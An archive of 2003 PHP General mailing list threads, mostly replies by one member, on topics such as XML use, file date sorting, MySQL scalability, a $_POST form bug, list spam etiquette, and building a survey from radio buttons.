[PHP] connect to MAS 90 & 200 with PHP

2003-07-07 Thread Joe Harman
I am curious if anyone is using PHP to connect to a MAS 90 or 200
database?? I am interested in any info on this if anyone has any...
 
THX,
Joe


RE: [PHP] New to PHP

2003-07-07 Thread Joe Harman
Hi Hiren,

PHP is a great choice, there are a wealth of tutorials on the
Internet!!! I would recommend a great book for people like yourself...
PHP Fast and Easy by Julie Meloni... You can visit her website at
http://www.thickbook.com 

I have both of her PHP books, and out of the 8 books on PHP hers are the
ones I still use the most... Good luck
Joe

-Original Message-
From: Hiren Mehta [mailto:[EMAIL PROTECTED] 
Sent: Monday, July 07, 2003 5:28 PM
To: PHP
Subject: [PHP] New to PHP


Hi I am new to PHP and would like to learn more about it. Which would be
the best place to start with besides the manual and what would you
suggest is a pre-requiste for learning PHP.

Thanks

Regards,

Hiren


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] XML

2003-07-08 Thread Joe Harman
Okay Petre... You have asked the question that I always wanted to ask!!!
I can't wait to see peoples answer... I simply can't find a use for it
either

Joe

-Original Message-
From: Petre Agenbag [mailto:[EMAIL PROTECTED] 
Sent: Tuesday, July 08, 2003 6:27 AM
To: [EMAIL PROTECTED]
Subject: [PHP] XML


Hi List

Firstly, this question is arguable more about XML than PHP, but they are
interlinked, so I hope it is "topical" for this list.

Firstly, Where I come from:

I am VERY comfortable with PHP/MySQL on Linux and understand all those
concepts.

Now I'm trying to see the benefits of XML, and quite frankly, I just
cannot see why one would want to use it...

Anyway, I don't want to start a discussion on that from.

I have done extensive reading on XML/XSL(XSLT : XHTML), DTD and XML
parsing on browser and server side.

I arguable still don't have a 100% understanding of exactly how things
fit together, but the little bit I think I got so far is:

I would use an XML doc to package my data in a structure.
This XML file is "useless" on it's own, and good for transporting data
to another app or client. Should I need to do something with the data, I
would look at XSL and in particular XSLT in order to convert the XML
into XHTML so a browser can display the data ( so we can safely assume
that I am only interested in the web applications of XML)

This is where I'm starting to get a headache, because now it seems that
there are browser issues wrt XSL, and one also have the added choice of
parsing the XML with the browser or on server level.

For me, parsing it on browser level must be a no-no, as I would assume
that it's would take alot of effort to find out what type of browser the
client has, then load the appropriate XSL file for that browser.

So, I'm here, with the server side XML parsing in mind.

Now on M$ systems, it seems that IIS has built in ActiveX XMLDOM parsing
built in, and you can "easily" parse the XML document by using ASP etc.

So can I assume that this is also true with PHP/Apache, ie, Apache has a
built in XML parser and I can use PHP fnuctions to parse my XML file on
the server side and thus "pump" out XHTML that is compatible with all
past and future browsers?

Also, what is the procedure that most of you (members of the PHP lists)
follow when dealing with XML. ie, do you go for the client side parsing
or do you do server side parsing. And how do you decide when to use XML
and when to stick to trusty old PHP/MySQL? ( Sorry,  know this is
probably the dumbest question I can ask, but I really battle to see when
to use it, or rather WHY I should use it seeing that the data is
arguably "static" in nature ( I would either get the XML file from
somewhere else, or I would generate it from some source and pass it on,
effectively creating a little data island/snapshot of the actual data at
a point in time?)

Thanks for any input.





-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] date frustrations

2003-07-08 Thread Joe Harman
There is probably a better way than this... But I always use EPOCH when
I need to put something in order... You can then just write a function
to interperate the date when it need to be readable Hope that makes
sense

joe

-Original Message-
From: Shena Delian O'Brien [mailto:[EMAIL PROTECTED] 
Sent: Tuesday, July 08, 2003 1:52 PM
To: [EMAIL PROTECTED]
Subject: [PHP] date frustrations


Ok so on a web application I needed to list the files in a directory, 
ordered by last modified date.

I was pulling them out in an array, fetching the filemtime() for each 
file, and trying to order them by that date. I was using asort() to sort

the files in an array so they'd list chronologically.

Well that wasn't working as planned. Files were getting out of order. I 
figured asort() could have been having trouble ordering dates 
numerically, so I tried strtotime() on the dates first, and ordered the 
files by unix timestamp.

That didn't work either. I did a date() on the unix timestamp fetched by

strtotime() and found that the dates were coming out inaccurately. 2003 
was being changed to 2013, etc.

Well I gradually figured out that the date format output by filemtime() 
was not an acceptable natural language date format. filemtime() was 
fetching dates with a dash - ex. 07-08-2003. strtotime() was making 
incorrect timestamps because it doesn't read dates with dashes formatted

that way. Apparently asort() reads dates the same way strtotime does.

I think this is kind of perverse... in order to fix it I had to do an 
ereg_replace("-","/",$date) in order to change the filemtime() date 
format to one properly readable by strtotime and asort.

*sigh*

Am I the only one who has noticed this? Is this something that can be 
corrected in PHP? (Perhaps the dates fetched by filemtime() etc can be 
changes to be formatted in a way that is acceptable to other date() 
functions??)


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Re: Defending -> [PHP] New Krysalis version released

2003-07-08 Thread Joe Harman
Hey, I have used this companies free software... And actually bought
some... They were extremely helpful when Macromedia lacked PHP support
in UltraDev... They probably have more free stuff that costly things...
Personally, by using their free stuff, I ended up learning a lot... And
the should be valuable to this community... Especially the newbees
here

On the other side... I can understand why you are against the spam... 

You probalby will be surprised if you take a look at the quality of
their products... 

joe

-Original Message-
From: Alexandru COSTIN [mailto:[EMAIL PROTECTED] 
Sent: Tuesday, July 08, 2003 4:47 PM
To: [EMAIL PROTECTED]
Subject: [PHP] Re: NEW SPAMMER -> [PHP] New Krysalis version released


Krysalis is a free platform licesed as LGPL.
It has some (periferic) commercial modules but 95% of the platform
is free and open.

What should I do to announce a new release of a free platform on a
php newsgroup without offending anyone?

Alexandru

-- 
Alexandru COSTIN
Chief Operating Officer
http://www.interakt.ro/
+4021 312 5312
"Ryan A" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> Didnt we just have a thread about spamming like this on the list?
>
>
>
> - Original Message -
> From: "Alexandru COSTIN" <[EMAIL PROTECTED]>
> To: <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; 
> <[EMAIL PROTECTED]>
> Sent: Tuesday, July 08, 2003 9:22 PM
> Subject: [PHP] New Krysalis version released
>
>
> > Hello,
> > For the ones interested in XML/XSL publishing with PHP, we've 
> > just released the Krysalis 2.4.1 version.
> >
> > Includes a lot of features, fixes and performance improvements.
> > Check http://www.interakt.ro/index_news_162.html for more 
> > details.
> >
> > Our XML-schema support is being worked right now for inclusion 
> > in
> PEAR -
> > contact us if you want to contribute - we still need some 
> > PEARyfication help.
> >
> > Alexandru
> >
> > --
> > Alexandru COSTIN
> > Chief Operating Officer
> > http://www.interakt.ro/
> > +4021 312 5312
> >
> >
> >
> > --
> > PHP General Mailing List (http://www.php.net/)
> > To unsubscribe, visit: http://www.php.net/unsub.php
> >
>



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Alex,Joe - >Re: [PHP] New Krysalis version released

2003-07-08 Thread Joe Harman
Yeah Ryan... I actually agree with the passive spamming issue...
Actually spamming in general... And don't take any offense to my
comments... LOL... Cause they totally weren't ment that way... Have a
great one!

Respectfully,
Joe

-Original Message-
From: Ryan A [mailto:[EMAIL PROTECTED] 
Sent: Tuesday, July 08, 2003 6:19 PM
To: Alexandru COSTIN
Cc: Joe Harman; [EMAIL PROTECTED]
Subject: [PHP] Alex,Joe - >Re: [PHP] New Krysalis version released


Hi,
I never said that it isnt a good product, heck it sounds like its a
great product... I myself am a newbie here (a few months) pretty new to
php compared to a lot of guys here but have created some commercial
scripts...imagine the old fossils :-) here who have created loads of
good scripts? I just think that if someone asks for something _then_
recomend your product in your reply. In this case if someone said "hey,
am new to xml/xsl in php can anybody help" then someone could have said
"read blah and blah and heres a great product from Alenandru at
 check it out..." or something to that effect It just seems to
be a pain in the  when everytime someone has written something we
get an announcement, everyone has ideas and there is a hell of a lot of
good stuff out there...but...

When i start looking into XML/XSL I will give that a look see and
probably ask this list for advise but till then I think this is kind of
"passive spamming" or atleast an overload of (as of now) unwanted info,
I am sure it will be useful and of great value if its free or not but
till someone asks for the info

-Ryan


- Original Message -
From: "Alexandru COSTIN" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>;
<[EMAIL PROTECTED]>
Sent: Tuesday, July 08, 2003 9:22 PM
Subject: [PHP] New Krysalis version released


> Hello,
> For the ones interested in XML/XSL publishing with PHP, we've just

> released the Krysalis 2.4.1 version.
>
> Includes a lot of features, fixes and performance improvements.
> Check http://www.interakt.ro/index_news_162.html for more details.
>
> Our XML-schema support is being worked right now for inclusion in
PEAR -
> contact us if you want to contribute - we still need some 
> PEARyfication help.
>
> Alexandru
>
> --
> Alexandru COSTIN
> Chief Operating Officer
> http://www.interakt.ro/
> +4021 312 5312
>
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Annoucement Idea

2003-07-08 Thread Joe Harman
I am wondering if the creators of this list could impose a rule... all
things must be PHP related... if you have an announcement and it is
related to PHP... it must be proceed in the subject line of the email
with the word "ADV" or "Annoucement" - that way if you don't want to
read it, you can delete it... or set up a rule in Outlook to delete
it??? 
 
so... just an idea
 
see ya,
joe


[PHP] To All Those Seeking XML & PHP Wisdom!

2003-07-09 Thread Joe Harman
Found a brand new tutorial... just came out today...
 
http://www.sitepoint.com/article/1165
 
Joe Harman

Have you ever noticed? Anybody going slower than you is an idiot, and
anyone going faster than you is a maniac. - George Carlen 
 


RE: [PHP] Can php/mysql handle 10000s of records

2003-07-09 Thread Joe Harman
Suprisingly MySQL is very good, as the others have said... I've been
involved in a few sites that have been known to hammer the DB pretty
hard.. And it's stood up to the test... Hmmm... I am sure others here
can validate this... But I think the size limit for the database is
about 4 gigs!!! That's a ton... 

The last company I had worked for had a huge customer database... But on
a different system... But similar.. And it was only 280 megs!!! It
contain records for over 58,000 customers... And inventory,
accounting... Blah blah

Probably the most critical thing to remember is efficient code... And
optimizd use of MySQL... If you follow that, MySQL and PHP will
scream...

There are somethings you can do for MySQL... I was trying to locate an
article for you that I read just the other day... But they were talking
about indexing MySQL... I am sure the other members of this board can
point you in the right direction... 

Have a great day

Joe Harman

http://www.HarmanMedia.com

Everything is funny as long as it is happening to somebody else. - Will
Rogers


-Original Message-
From: Adam Gerson [mailto:[EMAIL PROTECTED] 
Sent: Wednesday, July 09, 2003 9:54 AM
To: [EMAIL PROTECTED]
Subject: [PHP] Can php/mysql handle 1s of records


From: Adam Gerson <[EMAIL PROTECTED]>
Date: Wed Jul 9, 2003  9:48:20 AM America/New_York
To: [EMAIL PROTECTED]
Subject: Can php/mysql handle 1000's of records?

I know this questions is a little of topic, but I figured the members 
of this list would have experience in this area.

I am writing an attendance system in php/mysql for my school. We have a 
little less then 1000 students. For every day of the school year one 
record will be entered into a table for each student representing their 
attendance status (present, absent, late, etc...). I also have several 
other supporting tables for relationships. When it comes to reporting 
and querying this DB I am worried that it will very quickly become very 
large and slow. Can mysql handle this? Are there any techniques to 
speed it up? I will trying indexing major columns.

I have also considered keeping all previous days attendance in a 
separate table from the current days attendance and moving things over 
in the middle of the night. This way any operations on the current days 
data will go quickly, but reports on long term things will still be 
slow. Good idea?

Thanks,
Adam





---
Adam Gerson
Systems Administrator / Computer Teacher
Columbia Grammar and Prep School
212-749-6200
[EMAIL PROTECTED]
www.cgps.org


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] $_POST problem

2003-07-09 Thread Joe Harman
Hey... Just for Sh** and giggles... Try removing the quotes from
keywords

Make it look like this...

$img_keywords = trim({$_POST[keywords]})

Hmmm. Something is up here... Never seen curly brackets used like
this... But that would probably be normal for me LOLjust thought
I point out anything unusual...



-Original Message-
From: Micah Montoy [mailto:[EMAIL PROTECTED] 
Sent: Wednesday, July 09, 2003 11:57 PM
To: [EMAIL PROTECTED]
Subject: Re: [PHP] $_POST problem


Nope.  That didn't do it.  The errors I'm receiving are:

Notice: Undefined index: keywords in
c:\inetpub\wwwroot\webpage10\example\v_images\dsp_update_image.php on
line 22 and

Notice: Undefined variable: img_keywords in
c:\inetpub\wwwroot\webpage10\example\v_images\dsp_update_image.php on
line 29

thanks

"Aaron Axelsen" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
>
> -BEGIN PGP SIGNED MESSAGE-
> Hash: SHA1
>
> Try:
>
> $img_keywords = trim({$_POST["keywords"]});
>
> - ---
> Aaron Axelsen
> AIM: AAAK2
> Email: [EMAIL PROTECTED]
>
> Want reliable web hosting at affordable prices? www.modevia.com
>
> Web Dev/Design Community/Zine
> www.developercube.com
>
>
>
> - -Original Message-
> From: Micah Montoy [mailto:[EMAIL PROTECTED]
> Sent: Wednesday, July 09, 2003 10:26 PM
> To: [EMAIL PROTECTED]
> Subject: [PHP] $_POST problem
>
>
> Anyone see what when I submit this, I can't do a $_POST on it?  I 
> check with the DB first to see if there is a value and if so, I fill 
> it, otherwise, it will return a blank for the user to fill if they 
> want.
>
>  ?>" size="53" maxlength="500">
>
> On the page that it goes to when it is submitted, the post looks like
> this:
>
> $img_keywords = trim($_POST["keywords"]);
>
>
> thanks
>
>
>
> - --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>
> -BEGIN PGP SIGNATURE-
> Version: PGPfreeware 7.0.3 for non-commercial use 
>
> iQA/AwUBPwzdn7rnDjSLw9ADEQIcCQCgkktDGf9u26bOntsqMPw93lpINdcAoM9h
> tVqNcesMuM/L3fZaXmIdKdId
> =fJlG
> -END PGP SIGNATURE-
>
>



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] $_POST problem

2003-07-09 Thread Joe Harman
Yeah, me too... LOL... Although, I don't understand the curly
brackets... I don't see any examples using them in the manual either...

http://us4.php.net/trim

Try this

$img_keywords = trim($_POST['keywords'])

 or this

$PassItOn=$_POST['keywords'];
$img_keywords = trim($PassItOn);

-Original Message-
From: Aaron Axelsen [mailto:[EMAIL PROTECTED] 
Sent: Thursday, July 10, 2003 12:26 AM
To: 'Micah Montoy'; [EMAIL PROTECTED]
Subject: RE: [PHP] $_POST problem


 
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Whenever I call a vriable, I do something like $_POST['keyword']

Are you just getting a parse error?


- ---
Aaron Axelsen
AIM: AAAK2
Email: [EMAIL PROTECTED]

Want reliable web hosting at affordable prices?
www.modevia.com
 
Web Dev/Design Community/Zine
www.developercube.com



- -Original Message-
From: Micah Montoy [mailto:[EMAIL PROTECTED] 
Sent: Wednesday, July 09, 2003 11:21 PM
To: [EMAIL PROTECTED]
Subject: Re: [PHP] $_POST problem


Didn't make a difference.  Still getting the errors.


"Joe Harman" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> Hey... Just for Sh** and giggles... Try removing the quotes from
> keywords
>
> Make it look like this...
>
> $img_keywords = trim({$_POST[keywords]})
>
> Hmmm. Something is up here... Never seen curly brackets used like

> this... But that would probably be normal for me LOLjust
> thought I point out anything unusual...
>
>
>
> -Original Message-
> From: Micah Montoy [mailto:[EMAIL PROTECTED]
> Sent: Wednesday, July 09, 2003 11:57 PM
> To: [EMAIL PROTECTED]
> Subject: Re: [PHP] $_POST problem
>
>
> Nope.  That didn't do it.  The errors I'm receiving are:
>
> Notice: Undefined index: keywords in 
> c:\inetpub\wwwroot\webpage10\example\v_images\dsp_update_image.php
> on  line 22 and
>
> Notice: Undefined variable: img_keywords in 
> c:\inetpub\wwwroot\webpage10\example\v_images\dsp_update_image.php
> on  line 29
>
> thanks
>
> "Aaron Axelsen" <[EMAIL PROTECTED]> wrote in message 
> news:[EMAIL PROTECTED]
> >
> > -BEGIN PGP SIGNED MESSAGE-
> > Hash: SHA1
> >
> > Try:
> >
> > $img_keywords = trim({$_POST["keywords"]});
> >
> > - ---
> > Aaron Axelsen
> > AIM: AAAK2
> > Email: [EMAIL PROTECTED]
> >
> > Want reliable web hosting at affordable prices? www.modevia.com
> >
> > Web Dev/Design Community/Zine
> > www.developercube.com
> >
> >
> >
> > - -Original Message-
> > From: Micah Montoy [mailto:[EMAIL PROTECTED]
> > Sent: Wednesday, July 09, 2003 10:26 PM
> > To: [EMAIL PROTECTED]
> > Subject: [PHP] $_POST problem
> >
> >
> > Anyone see what when I submit this, I can't do a $_POST on it?  I
> >  check with the DB first to see if there is a value and if so, I
> > fill  it, otherwise, it will return a blank for the user to fill
> > if they  want.
> >
> > 
> > ?>" size="53" maxlength="500">
> >
> > On the page that it goes to when it is submitted, the post looks 
> > like
> > this:
> >
> > $img_keywords = trim($_POST["keywords"]);
> >
> >
> > thanks
> >
> >
> >
> > - --
> > PHP General Mailing List (http://www.php.net/)
> > To unsubscribe, visit: http://www.php.net/unsub.php
> >
> >
> > -BEGIN PGP SIGNATURE-
> > Version: PGPfreeware 7.0.3 for non-commercial use 
> > <http://www.pgp.com>
> >
> > iQA/AwUBPwzdn7rnDjSLw9ADEQIcCQCgkktDGf9u26bOntsqMPw93lpINdcAoM9h
> > tVqNcesMuM/L3fZaXmIdKdId
> > =fJlG
> > -END PGP SIGNATURE-
> >
> >
>
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>
>



- -- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

-BEGIN PGP SIGNATURE-
Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>

iQA/AwUBPwzq0rrnDjSLw9ADEQIGnACfbrvO1NUgRj11QHK9stcM1Tir250AoOeA
AHg0A8YeasOSjhaFIlZoEadb
=qWEI
-END PGP SIGNATURE-



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] $_POST problem

2003-07-09 Thread Joe Harman
LOL... I was running out of silly tricks to pull out of my hat
LOL... Hey no problem Micah... I do this about 3 or 4 times a day
Especially when my right brain takes over and the ADD sets in...

Have a great one!
Joe

-Original Message-
From: Micah Montoy [mailto:[EMAIL PROTECTED] 
Sent: Thursday, July 10, 2003 12:40 AM
To: [EMAIL PROTECTED]
Subject: Re: [PHP] $_POST problem


I found the error.  Your all probably all going to kill me but on the
form itself, I didn't specify a method.  Sometimes I think I've been
looking at a screen way to long.

thanks for all your help


"Joe Harman" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> Hey... Just for Sh** and giggles... Try removing the quotes from 
> keywords
>
> Make it look like this...
>
> $img_keywords = trim({$_POST[keywords]})
>
> Hmmm. Something is up here... Never seen curly brackets used like 
> this... But that would probably be normal for me LOLjust 
> thought I point out anything unusual...
>
>
>
> -Original Message-
> From: Micah Montoy [mailto:[EMAIL PROTECTED]
> Sent: Wednesday, July 09, 2003 11:57 PM
> To: [EMAIL PROTECTED]
> Subject: Re: [PHP] $_POST problem
>
>
> Nope.  That didn't do it.  The errors I'm receiving are:
>
> Notice: Undefined index: keywords in 
> c:\inetpub\wwwroot\webpage10\example\v_images\dsp_update_image.php on 
> line 22 and
>
> Notice: Undefined variable: img_keywords in 
> c:\inetpub\wwwroot\webpage10\example\v_images\dsp_update_image.php on 
> line 29
>
> thanks
>
> "Aaron Axelsen" <[EMAIL PROTECTED]> wrote in message 
> news:[EMAIL PROTECTED]
> >
> > -BEGIN PGP SIGNED MESSAGE-
> > Hash: SHA1
> >
> > Try:
> >
> > $img_keywords = trim({$_POST["keywords"]});
> >
> > - ---
> > Aaron Axelsen
> > AIM: AAAK2
> > Email: [EMAIL PROTECTED]
> >
> > Want reliable web hosting at affordable prices? www.modevia.com
> >
> > Web Dev/Design Community/Zine
> > www.developercube.com
> >
> >
> >
> > - -Original Message-
> > From: Micah Montoy [mailto:[EMAIL PROTECTED]
> > Sent: Wednesday, July 09, 2003 10:26 PM
> > To: [EMAIL PROTECTED]
> > Subject: [PHP] $_POST problem
> >
> >
> > Anyone see what when I submit this, I can't do a $_POST on it?  I 
> > check with the DB first to see if there is a value and if so, I fill

> > it, otherwise, it will return a blank for the user to fill if they 
> > want.
> >
> > 
> > ?>" size="53" maxlength="500">
> >
> > On the page that it goes to when it is submitted, the post looks 
> > like
> > this:
> >
> > $img_keywords = trim($_POST["keywords"]);
> >
> >
> > thanks
> >
> >
> >
> > - --
> > PHP General Mailing List (http://www.php.net/)
> > To unsubscribe, visit: http://www.php.net/unsub.php
> >
> >
> > -BEGIN PGP SIGNATURE-
> > Version: PGPfreeware 7.0.3 for non-commercial use 
> > <http://www.pgp.com>
> >
> > iQA/AwUBPwzdn7rnDjSLw9ADEQIcCQCgkktDGf9u26bOntsqMPw93lpINdcAoM9h
> > tVqNcesMuM/L3fZaXmIdKdId
> > =fJlG
> > -END PGP SIGNATURE-
> >
> >
>
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>
>



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] (REAL TUFFY ) Lat/Long Map Image Manipulation

2003-07-09 Thread Joe Harman
Okay this is a tuffy! I am really just looking for someone to point me
in the right direction, or tutorials or something! maybe ideas
 
1st - I have created a Lat and Long distance calculator... it takes 2
user inputed zip codes... accesses the MySQL DB for the Lat and Longs...
then figures out the distance between them...
 
Now there are 2 things I want to do here... take a map of the US...
PNG.. GIF... what ever... and associate the Lat/Long with coordinates on
the image... like a image map in HTML (sort of) - the first thing I want
to do is draw a line from point A to point B (on the map)... the second
is draw a circle for a search radius... 
 
hmmm... it would also be cool if the image could be zoomed in on
like... scaled down to 100 mile x 100 miles... and then show the 75 mile
radius circle
 
okay, that's enough for now... hope someone can point me in the right
direction
 
Joe Harman
 
http://www.HarmanMedia.com
 
Health nuts are going to feel stupid someday, lying in hospitals dying
of nothing. - Redd Foxx 
 


RE: [PHP] (REAL TUFFY ) Lat/Long Map Image Manipulation

2003-07-10 Thread Joe Harman
Hey thanks... They are pretty much trying to do what I am working... I
will try to interact a little with them...

Have a great one!
Joe

-Original Message-
From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] 
Sent: Thursday, July 10, 2003 10:35 AM
To: Joe Harman
Cc: [EMAIL PROTECTED]
Subject: Re: [PHP] (REAL TUFFY ) Lat/Long Map Image Manipulation


Give this a looksee

http://forums.devshed.com/archive/5/2003/01/3/49795

Quoting Joe Harman <[EMAIL PROTECTED]>:

> Okay this is a tuffy! I am really just looking for someone to point me

> in the right direction, or tutorials or something! maybe ideas
>  
> 1st - I have created a Lat and Long distance calculator... it takes 2 
> user inputed zip codes... accesses the MySQL DB for the Lat and 
> Longs... then figures out the distance between them...
>  
> Now there are 2 things I want to do here... take a map of the US... 
> PNG.. GIF... what ever... and associate the Lat/Long with coordinates 
> on the image... like a image map in HTML (sort of) - the first thing I

> want to do is draw a line from point A to point B (on the map)... the 
> second is draw a circle for a search radius...
>  
> hmmm... it would also be cool if the image could be zoomed in on 
> like... scaled down to 100 mile x 100 miles... and then show the 75 
> mile radius circle
>  
> okay, that's enough for now... hope someone can point me in the right 
> direction
>  
> Joe Harman
>  
> http://www.HarmanMedia.com
>  
> Health nuts are going to feel stupid someday, lying in hospitals dying

> of nothing. - Redd Foxx
>  
> 



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] dump $_POST into variables????

2003-07-10 Thread Joe Harman
Okay, curious if there is an easier way to do this... here is what I do
 

 
can't I just dump these into an array and and assign it to a variable...
maybe that doesn't make sense... basically I just want to have one
command that retrives all the "POST" variables... then list my variables
ie $ZipCode, $Distance, $Blah - have them dump in to each!!!
 
thanks
 
Joe Harman

http://www.HarmanMedia.com

You will never be happy if you continue to search for what happiness
consists of. You will never live if you are looking for the meaning of
life. - Albert Camus 
 


RE: [PHP] dump $_POST into variables????

2003-07-10 Thread Joe Harman
Ah... Jason Man Of Few Words! THANKs... You have saved me time and
lines in my code :-)

Cheers!
Joe

-Original Message-
From: Jason Wong [mailto:[EMAIL PROTECTED] 
Sent: Friday, July 11, 2003 1:13 AM
To: [EMAIL PROTECTED]
Subject: Re: [PHP] dump $_POST into variables


On Friday 11 July 2003 13:01, Joe Harman wrote:
> Okay, curious if there is an easier way to do this... here is what I 
> do
>
>   $ZipCode = $_POST['zip'];
>  $Distance = $_POST['distance'];
> ?>
>
> can't I just dump these into an array and and assign it to a 
> variable... maybe that doesn't make sense... basically I just want to 
> have one command that retrives all the "POST" variables... then list 
> my variables ie $ZipCode, $Distance, $Blah - have them dump in to 
> each!!!

extract()

-- 
Jason Wong -> Gremlins Associates -> www.gremlins.biz
Open Source Software Systems Integrators
* Web Design & Hosting * Internet & Intranet Applications Development *
--
Search the list archives before you post
http://marc.theaimsgroup.com/?l=php-general
--
/*
I THINK THEY SHOULD CONTINUE the policy of not giving a Nobel Prize for
paneling.
-- Jack Handley, The New Mexican, 1988.
*/


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Need Some Basic Help with Arrays

2003-07-11 Thread Joe Harman
Okay Ladies and gents... I am sure I am not the only one who doesn't
take advantage of arrays like they should be... would some be so kind as
to explain them... you kow I can read the manual and all... but to tell
you the truth.. it's a little confusing... maybe some of you have some
good ways to explain it to a right brainer like myself
 
Joe Harman

http://www.HarmanMedia.com

You will never be happy if you continue to search for what happiness
consists of. You will never live if you are looking for the meaning of
life. - Albert Camus 
 


[PHP] help with explode.....

2003-07-24 Thread Joe Harman
Okay... this probably isn't that hard to do... but I am just not sure to
do it... so i will ask you guys... i amsure someone is going to have a
one liner for me here!
 
I am making a survey/poll builder everything is dynamic... there is an
admin section where the user can make the new survey.. and set certain
surveys as active but this where I am coming into some
difficulties the program builds the form dynamically... all radio
buttons... when the user submits the form i need to disect each form
answer and then dump it into MySQL... So I need to know if I can do
something like use the 'explode()' function no this... and assign them
to variables... I need to draw out the radio button id and what they
answered... 
 
hope that makes sense... thanks for all your help in advance
 
Joe Harman

http://www.HarmanMedia.com

Only two things are infinite, the universe and human stupidity, and I'm
not sure about the former. - Albert Einstein 
 


[PHP] RE: help with explode.....

2003-07-24 Thread Joe Harman
The name of the set of radio buttons is the QuestionID (so it's a
number)... And the options are the AnswerID (they are also numbers)... 

-Original Message-
From: Shaunak Kashyap [mailto:[EMAIL PROTECTED] 
Sent: Friday, July 25, 2003 1:03 AM
To: Joe Harman
Subject: Re: help with explode.


> I am making a survey/poll builder everything is dynamic... there is an

> admin section where the user can make the new survey.. and set certain

> surveys as active but this where I am coming into some 
> difficulties the program builds the form dynamically... all radio 
> buttons... when the user submits the form i need to disect each form 
> answer and then dump it into MySQL... So I need to know if I can do 
> something like use the 'explode()' function no this... and assign them

> to variables... I need to draw out the radio button id and what they 
> answered...
>
when the program builds the form dynamically, what name does it assign
to the radio button elements?

Shaunak




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] RE: help with explode.....

2003-07-24 Thread Joe Harman
Actually... That didn't work... The QuestionID and AnswerID are
different from poll to poll Can I do something like a loop and pass
the QuestionID and AnswerID into other variables...

Ex. Here is my HTML that is dynamically created
*


Untitled Document





The Cool Joe Survey
What color are you eyes?

Blue
Green

What Letter does your name start with

a
b
c

What Day is it
Thurs
Fri
Tues

  







Can I do something like this on the nest page
*

1 Start the do statement til radio button name equals null
2 extract (from $_POST) the radio button name and plug it into
$RadioName
3 extract (from $_POST) the radio button value and plug it into
$RadioValue
4 insert it into a MySQL table
5 while statement sends you back to 1
* not exactly sure how I am going to do the while part

LOL

Thanks,
Joe

-Original Message-
From: Shaunak Kashyap [mailto:[EMAIL PROTECTED] 
Sent: Friday, July 25, 2003 1:14 AM
To: Joe Harman
Subject: Re: help with explode.


> The name of the set of radio buttons is the QuestionID (so it's a 
> number)... And the options are the AnswerID (they are also numbers)...
>
In that case, I assume your code looks something like this:

...

How about using an array instead of just the QuestionID as shown below:

...

That way, on the next page (the one to which this form is being
submitted) you can get the AnswerIDs by simply looping through the
$_POST["Question"] array (assuming your form submission method is post).

Hope that made sense.

Shaunak




-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] help with explode.....

2003-07-24 Thread Joe Harman
SO COOL...

Thanks too all 

-Original Message-
From: Binay Agarwal [mailto:[EMAIL PROTECTED] 
Sent: Thursday, July 24, 2003 1:48 PM
To: Joe Harman
Cc: [EMAIL PROTECTED]
Subject: Re: [PHP] help with explode.



> Okay... this probably isn't that hard to do... but I am just not sure 
> to do it... so i will ask you guys... i amsure someone is going to 
> have a one liner for me here!
>
> I am making a survey/poll builder everything is dynamic... there is an

> admin section where the user can make the new survey.. and set certain

> surveys as active but this where I am coming into some 
